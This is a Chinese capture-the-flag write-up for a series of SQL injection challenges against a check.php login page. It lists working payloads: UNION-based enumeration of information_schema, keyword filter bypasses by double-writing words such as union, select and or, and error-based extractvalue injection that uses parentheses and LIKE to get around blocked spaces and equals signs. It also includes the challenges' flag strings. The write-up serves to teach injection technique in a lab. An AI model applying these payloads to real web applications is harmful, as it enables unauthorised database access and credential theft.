flag{c87ced50-5e7f-405c-bbc3-044615494dac}
依旧尝试万能密码
check.php?username=admin' order by 3%23&password=123
order by 3的时候还没报错,当为4的时候报错了,那么可以得到列数为3
下面就进行联合注入查询即可:
判断回显点
2,3均可利用
check.php?username=-1' union select 1,2,3%23&password=123
check.php?username=-1' union select 1,database(),3%23&password=123
check.php?username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23&password=123
盲猜我们要的flag在geekuser这张表中
check.php?username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23&password=123
check.php?username=-1' union select 1,group_concat(password),3 from l0ve1ysq1%23&password=admin
根据提示,肯定过滤了一些字符,测试:
select、or、where、空格、and、union、from等都被过滤了
判断列数
check.php?username=-1' ununionion selselectect 1,2,3%23&password=admin
check.php?username=1' ununionion selselectect 1,database(),3%23&password=admin
check.php?username=1' ununionion selselectect 1,group_concat(table_name),3 frofromm information_schema.tables whwhereere table_schema='geek'%23&password=admin
报错了,报错信息显示information中的or没有显示,我突然想起来or也被过滤了,也双写以下就行了
check.php?username=1' ununionion selselectect 1,group_concat(column_name),3 frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=admin
check.php?username=1' ununionion selselectect 1,group_concat(passwoorrd),3 frofromm b4bsql%23&password=123456
先fuzz测试一下
空格,union,and,=,/**/,+,等等都被过滤了
显然联合查询注入不能用了,报错注入的函数没被过滤,我们试一下
空格我们用()
包裹
'or(extractvalue(1,concat(0x7e,database(),0x7e)))#
=
我们用like
绕过
'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')))))#
'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)))))#
'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#
79a8e7c9-cb72-406b-8561-dc
只显示了一部分,我们把右边的flag也爆出来
'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))#
flag{cceadf67-c8fe-41b9-8e3f-ead6beb68b4c}